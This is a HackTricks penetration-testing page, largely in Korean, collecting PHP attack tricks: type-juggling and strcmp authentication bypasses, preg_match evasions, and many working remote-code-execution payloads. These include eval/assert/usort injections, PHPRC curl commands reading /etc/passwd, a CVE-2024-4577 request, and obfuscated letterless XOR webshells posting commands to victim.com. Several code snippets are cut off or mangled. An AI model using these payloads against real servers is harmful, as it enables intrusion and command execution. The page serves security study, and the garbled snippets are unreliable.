PHP Tricks

Support HackTricks

쿠키의 일반적인 위치:

이것은 phpMyAdmin 쿠키에도 유효합니다.

쿠키:

PHPSESSID
phpMyAdmin

위치:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

PHP 비교 우회

느슨한 비교/타입 조작 ( == )

==가 PHP에서 사용되면, 예상치 못한 경우에 비교가 예상대로 작동하지 않습니다. 이는 "=="가 동일한 타입으로 변환된 값만 비교하기 때문이며, 비교되는 데이터의 타입이 동일한지 비교하고 싶다면 ===를 사용해야 합니다.

PHP 비교 표: https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True 숫자로 시작하지 않는 문자열은 숫자와 같습니다.

  • "0xAAAA" == "43690" -> True 10진수 또는 16진수 형식의 숫자로 구성된 문자열은 숫자가 동일할 경우 다른 숫자/문자열과 True로 비교될 수 있습니다 (문자열의 숫자는 숫자로 해석됩니다).

  • "0e3264578" == 0 --> True "0e"로 시작하고 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다.

  • "0X3264578" == 0X --> True "0"로 시작하고 그 뒤에 어떤 문자(여기서 X는 어떤 문자든 가능)와 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다.

  • "0e12334" == "0" --> True 이는 매우 흥미로운데, 어떤 경우에는 "0"의 문자열 입력과 해시된 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면, 비교를 우회할 수 있습니다. 이 형식의 이미 해시된 문자열은 여기에서 찾을 수 있습니다: https://github.com/spaze/hashes

  • "X" == 0 --> True 문자열의 어떤 문자도 int 0과 같습니다.

자세한 정보는 https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09에서 확인하세요.

in_array()

타입 조작은 기본적으로 in_array() 함수에도 영향을 미칩니다 (엄격한 비교를 하려면 세 번째 인수를 true로 설정해야 합니다):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

이 함수가 모든 인증 확인(비밀번호 확인과 같은)에 사용되면, 사용자가 비교의 한 쪽을 제어할 수 있는 경우, 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (https://example.com/login.php/?username=admin&password[]=) 그리고 이 확인을 우회할 수 있습니다:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

strcasecmp()와 동일한 오류가 발생합니다.

엄격한 타입 조작

===사용되고 있더라도 비교가 취약하게 만드는 오류가 있을 수 있습니다. 예를 들어, 비교가 비교하기 전에 데이터를 다른 타입의 객체로 변환하고 있는 경우:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

**preg_match()**는 사용자 입력을 검증하는 데 사용될 수 있습니다(사용자 입력에 블랙리스트단어/정규 표현식존재하는지 확인하고, 존재하지 않으면 코드는 계속 실행될 수 있습니다).

New line bypass

그러나 정규 표현식의 시작을 구분할 때 preg_match()사용자 입력의 첫 번째 줄만 확인합니다. 따라서 어떤 방법으로든 여러 줄로 입력을 전송할 수 있다면 이 검사를 우회할 수 있습니다. 예:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

이 검사를 우회하려면 새 줄이 포함된 값을 URL 인코딩하여 전송하거나, JSON 데이터를 보낼 수 있다면 여러 줄로 전송하십시오:

{
"cmd": "cat /etc/passwd"
}

Find an example here: https://ramadistra.dev/fbctf-2019-rceservice

길이 오류 우회

(이 우회는 PHP 5.2.5에서 시도된 것으로 보이며, PHP 7.3.15에서는 작동하지 않았습니다) preg_match()에 유효한 매우 큰 입력을 보낼 수 있다면, 처리할 수 없게 되어 검사를 우회할 수 있습니다. 예를 들어, JSON을 블랙리스트에 올리고 있다면 다음과 같이 보낼 수 있습니다:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0

ReDoS 우회

Trick from: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong

간단히 말해, 문제는 PHP의 preg_* 함수가 PCRE 라이브러리를 기반으로 하기 때문에 발생합니다. PCRE에서는 특정 정규 표현식이 많은 재귀 호출을 사용하여 일치되며, 이는 많은 스택 공간을 사용합니다. 허용되는 재귀 호출의 수에 제한을 설정할 수 있지만, PHP에서는 이 제한이 기본적으로 100,000으로 설정되어 있어 스택에 맞지 않습니다.

이 Stackoverflow 스레드도 이 문제에 대해 더 깊이 논의된 게시물에 링크되어 있었습니다. 우리의 작업은 이제 명확했습니다: 정규 표현식이 100_000회 이상의 재귀를 수행하게 만드는 입력을 보내어 SIGSEGV를 유발하고, preg_match() 함수가 false를 반환하게 하여 애플리케이션이 우리의 입력이 악의적이지 않다고 생각하게 만든 후, 페이로드의 끝에 {system(<verybadcommand>)}와 같은 놀라움을 던져 SSTI --> RCE --> flag :).

정규 표현식 용어로, 우리는 실제로 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세고 있으며, PHP 문서에 따르면 pcre.backtrack_limit 변수의 기본값은 1_000_000 (1M)입니다. 이를 달성하기 위해 'X'*500_001은 100만 개의 백트래킹 단계를 생성합니다 (500k 전진 및 500k 후진):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

PHP 난독화를 위한 타입 조작

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Execute After Redirect (EAR)

PHP가 다른 페이지로 리디렉션되고 있지만 Location 헤더가 설정된 후에 die 또는 exit 함수가 호출되지 않으면, PHP는 계속 실행되어 데이터를 본문에 추가합니다:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

경로 탐색 및 파일 포함 취약점

Check:

File Inclusion/Path traversal

더 많은 트릭

  • register_globals: PHP < 4.1.1.1 또는 잘못 구성된 경우, register_globals가 활성화될 수 있습니다(또는 그 동작이 모방되고 있습니다). 이는 $_GET와 같은 전역 변수에 값이 있는 경우 예를 들어 $_GET["param"]="1234", $param을 통해 접근할 수 있음을 의미합니다. 따라서 HTTP 매개변수를 전송하여 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다.

  • 같은 도메인의 PHPSESSION 쿠키는 같은 위치에 저장됩니다, 따라서 도메인 내에서 다른 경로에서 다른 쿠키가 사용되는 경우 해당 경로가 다른 경로 쿠키의 값을 설정하여 쿠키에 접근하게 만들 수 있습니다. 이렇게 하면 두 경로가 같은 이름의 변수를 접근할 경우 path1의 해당 변수 값을 path2에 적용할 수 있습니다. 그러면 path2는 path1의 변수를 유효한 것으로 간주합니다(쿠키에 path2에 해당하는 이름을 부여하여).

  • 사용자의 사용자 이름이 있는 경우, 주소를 확인하세요: /~<USERNAME> php 디렉토리가 활성화되어 있는지 확인합니다.

password_hash/password_verify

이 함수들은 일반적으로 PHP에서 비밀번호로부터 해시를 생성하고 해시와 비교하여 비밀번호가 올바른지 확인하는 데 사용됩니다. 지원되는 알고리즘은: PASSWORD_DEFAULTPASSWORD_BCRYPT(시작은 $2y$). PASSWORD_DEFAULT는 자주 PASSWORD_BCRYPT와 동일합니다. 현재 PASSWORD_BCRYPT입력의 크기 제한이 72바이트입니다. 따라서 이 알고리즘으로 72바이트보다 큰 것을 해시하려고 하면 처음 72B만 사용됩니다:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP headers bypass abusing PHP errors

헤더 설정 후 오류 발생

이 트위터 스레드에서 1000개 이상의 GET 파라미터 또는 1000개 이상의 POST 파라미터 또는 20개의 파일을 전송하면, PHP는 응답에서 헤더를 설정하지 않는 것을 볼 수 있습니다.

예를 들어 CSP 헤더가 설정된 코드에서 우회할 수 있게 합니다:

<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

헤더를 설정하기 전에 본문 채우기

PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 에코하는 경우, 사용자는 PHP 서버가 충분히 긴 콘텐츠를 출력하도록 만들어서 헤더를 추가하려고 할 때 서버가 오류를 발생시키게 할 수 있습니다. 다음 시나리오에서 공격자는 서버가 큰 오류를 발생시키도록 만들었으며, 화면에서 볼 수 있듯이 PHP가 헤더 정보를 수정하려고 할 때, 수정할 수 없었습니다 (예를 들어 CSP 헤더가 사용자에게 전송되지 않았습니다):

PHP 함수에서의 SSRF

페이지를 확인하세요:

PHP SSRF

코드 실행

system("ls"); `ls`; shell_exec("ls");

더 유용한 PHP 함수는 여기에서 확인하세요

preg_replace()를 통한 RCE

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

"replace" 인수에서 코드를 실행하려면 최소한 하나의 일치 항목이 필요합니다. 이 preg_replace 옵션은 PHP 5.5.0부터 사용 중단되었습니다.

Eval()을 통한 RCE

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

Assert()를 통한 RCE

php 내의 이 함수는 문자열로 작성된 코드를 실행하여 true 또는 false를 반환할 수 있게 해줍니다 (그리고 이에 따라 실행을 변경할 수 있습니다). 일반적으로 사용자 변수는 문자열의 중간에 삽입됩니다. 예를 들어: assert("strpos($_GET['page']),'..') === false") --> 이 경우 RCE를 얻기 위해 다음과 같이 할 수 있습니다:

?page=a','NeVeR') === false and system('ls') and strpos('a

코드 구문깨고, 페이로드추가한 다음 다시 수정해야 합니다. "**and" 또는 "%26%26" 또는 "|"**와 같은 논리 연산을 사용할 수 있습니다. "or", "||"는 작동하지 않으므로 첫 번째 조건이 참이면 우리의 페이로드가 실행되지 않습니다. 같은 이유로 ";"도 작동하지 않으며 우리의 페이로드가 실행되지 않습니다.

다른 옵션은 문자열에 명령 실행을 추가하는 것입니다: '.highlight_file('.passwd').'

다른 옵션(내부 코드를 가지고 있는 경우)은 실행을 변경하기 위해 일부 변수를 수정하는 것입니다: $file = "hola"

usort()를 통한 RCE

이 함수는 특정 함수를 사용하여 항목 배열을 정렬하는 데 사용됩니다. 이 함수를 악용하려면:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

You can also use // to comment the rest of the code.

To discover the number of parenthesis that you need to close:

  • ?order=id;}//: 우리는 오류 메시지(Parse error: syntax error, unexpected ';')를 받습니다. 아마도 하나 이상의 괄호가 누락되었습니다.

  • ?order=id);}//: 우리는 경고를 받습니다. 그게 맞는 것 같습니다.

  • ?order=id));}//: 우리는 오류 메시지(Parse error: syntax error, unexpected ')' i)를 받습니다. 아마도 닫는 괄호가 너무 많습니다.

RCE via .httaccess

If you can upload a .htaccess, then you can configure several things and even execute code (configuring that files with extension .htaccess can be executed).

Different .htaccess shells can be found here

RCE via Env Variables

If you find a vulnerability that allows you to modify env variables in PHP (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get RCE.

  • LD_PRELOAD: 이 env 변수는 다른 바이너리를 실행할 때 임의의 라이브러리를 로드할 수 있게 해줍니다(이 경우에는 작동하지 않을 수 있습니다).

  • PHPRC : PHP에 구성 파일의 위치를 지시합니다. 일반적으로 php.ini라고 불립니다. 자신의 구성 파일을 업로드할 수 있다면, PHPRC를 사용하여 PHP가 이를 가리키도록 하십시오. 두 번째 업로드된 파일을 지정하는 auto_prepend_file 항목을 추가합니다. 이 두 번째 파일은 일반 PHP 코드를 포함하며, 이는 다른 코드보다 먼저 PHP 런타임에 의해 실행됩니다.

  1. 우리의 쉘코드를 포함하는 PHP 파일을 업로드합니다.

  2. 1단계에서 업로드한 파일을 실행하도록 PHP 전처리기에 지시하는 auto_prepend_file 지시어를 포함하는 두 번째 파일을 업로드합니다.

  3. 2단계에서 업로드한 파일로 PHPRC 변수를 설정합니다.

  • 이 체인을 실행하는 방법에 대한 더 많은 정보는 원본 보고서에서 확인하십시오.

  • PHPRC - 또 다른 옵션

  • 파일을 업로드할 수 없는 경우, FreeBSD에서 **stdin**을 포함하는 "파일" /dev/fd/0를 사용할 수 있습니다:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'

  • 또는 RCE를 얻기 위해 **allow_url_include**를 활성화하고 base64 PHP 코드가 포함된 파일을 전처리합니다:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

  • 기술 이 보고서에서.

XAMPP CGI RCE - CVE-2024-4577

The webserver parses HTTP requests and passes them to a PHP script executing a request such as as http://host/cgi.php?foo=bar as php.exe cgi.php foo=bar, which allows a parameter injection. This would allow to inject the following parameters to load the PHP code from the body:

-d allow_url_include=1 -d auto_prepend_file=php://input

또한, PHP의 후속 정규화로 인해 0xAD 문자를 사용하여 "-" 매개변수를 주입하는 것이 가능합니다. 이 게시물의 익스플로잇 예제를 확인하세요.

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

PHP Sanitization bypass & Brain Fuck

이 게시물에서 매우 적은 문자로 브레인 펑크 PHP 코드를 생성할 수 있는 훌륭한 아이디어를 찾을 수 있습니다. 게다가 여러 검사를 우회할 수 있도록 허용된 함수를 실행하는 흥미로운 방법도 제안됩니다:

(1)->{system($_GET[chr(97)])}

PHP 정적 분석

이 함수 호출에 코드 삽입이 가능한지 확인하세요 (여기서): here

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

If yo are debugging a PHP application you can globally enable error printing in/etc/php5/apache2/php.ini adding display_errors = On and restart apache : sudo systemctl restart apache2

PHP 코드 디오브퍼스케이팅

You can use the web www.unphp.net to deobfuscate php code.

PHP 래퍼 및 프로토콜

PHP Wrappers ad protocols could allow you to bypass write and read protections in a system and compromise it. For more information check this page.

Xdebug 인증되지 않은 RCE

If you see that Xdebug is enabled in a phpconfig() output you should try to get RCE via https://github.com/nqxcode/xdebug-exploit

변수 변수

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE abusing new $_GET["a"]($_GET["b")

페이지에서 임의 클래스의 새 객체를 생성할 수 있다면 RCE를 얻을 수 있을지도 모릅니다. 방법을 배우려면 다음 페이지를 확인하세요:

PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Execute PHP without letters

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Using octal

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR 쉬운 셸 코드

이 글 에 따르면, 다음과 같은 방법으로 쉬운 셸 코드를 생성할 수 있습니다:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

그래서, 숫자와 문자가 없는 임의의 PHP를 실행할 수 있다면 다음과 같은 요청을 보내 임의의 PHP를 실행할 수 있습니다:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

더 자세한 설명은 https://ctf-wiki.org/web/php/php/#preg_match에서 확인하세요.

XOR Shellcode (eval 내부)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl과 유사한

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
HackTricks 지원하기

Last updated